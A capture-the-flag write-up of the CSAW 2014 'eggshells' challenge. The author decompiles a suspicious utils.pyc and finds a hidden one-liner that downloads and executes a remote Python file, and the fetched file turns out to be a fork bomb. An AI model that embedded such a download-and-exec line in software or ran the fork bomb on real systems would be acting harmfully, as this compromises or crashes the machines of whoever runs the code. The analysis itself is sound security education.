This is the first exploitation problem and it starts with the following text:
I trust people on the Internet all the time, do you?
Written by ColdHeat
eggshells-master.zip
Unzipping and Analyzing the Files
Let’s unzip the provided zip file:
$ unzip eggshells-master.zip
This creates a directory called eggshells-master that contains several Python and exe files. Let us look closer to the contend of this folder:
$ tree .
├── capstone.py
├── distorm.py
├── interpreter.py
├── main.py
├── nasm
│ ├── LICENSE
│ ├── nasm.exe
│ ├── ndisasm.exe
│ └── rdoff
│ ├── ldrdf.exe
│ ├── rdf2bin.exe
│ ├── rdf2com.exe
│ ├── rdf2ihx.exe
│ ├── rdf2ith.exe
│ ├── rdf2srec.exe
│ ├── rdfdump.exe
│ ├── rdflib.exe
│ └── rdx.exe
├── nasm.py
├── server.py
├── shellcode.py
├── utils.pyc
└── wrapper.py
Do you see anything unusual?
Decompiled a pre-compiled Python File
A pre-compiled Python file stands out in this list: utils.pyc. We need to decompile it. For this task we use uncompyle2, which can be installed with:
$ sudo pip install uncompyle2
Let's learn a bit more about this tool with uncompyle2 --help
. The usage is straightforward, but it's a good knowledge to learn about the -o flag, which will decompile to a .dis file instead of stdout:
Usage: uncompyle2 [OPTIONS]... [ FILE | DIR]...
Examples:
uncompyle2 foo.pyc bar.pyc # decompile foo.pyc, bar.pyc to stdout
uncompyle2 -o . foo.pyc bar.pyc # decompile to ./foo.dis and ./bar.dis
uncompyle2 -o /tmp /usr/lib/python1.5 # decompile whole library
Options:
-o <path> output decompiled files to this path:
if multiple input files are decompiled, the common prefix
is stripped from these names and the remainder appended to
<path>
uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc
-> /tmp/fasel.dis, /tmp/foo.dis
uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc
-> /tmp/bla/fasel.dis, /tmp/bar/foo.dis
We could also use .py extension if we like:
--py use '.py' extension for generated files
Also, we learn about all the possible outputs:
Extensions of generated files:
'.pyc_dis' '.pyo_dis' successfully decompiled (and verified if --verify)
'.py' with --py option
+ '_unverified' successfully decompile but --verify failed
+ '_failed' uncompyle failed (contact author for enhancement)
All right, no more diverging. Let's play! We run the uncompyle2
command and obtain the following:
$ uncompyle2 utils.pyc
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
Parsing the Result and Voilà
So all that this file does is in this line:
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
To understand this code, we need to know that Python's exec method performs dynamic execution of code. In this problem, exec starts importing urllib2, which is a library for opening URLs. It has the method urlopen() to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, read() would read this returned file.
So all that this script does is to try running a Python file that is hosted online! Well, let's see what this file does! Let's just curl http://kchung.co/lol.py:
$ curl http://kchung.co/lol.py
import os
while True:
try:
os.fork()
except:
os.system('start')
# flag{trust_is_risky}
Yaaay! The flag is trust_is_risky! Easy!
Hack all the things!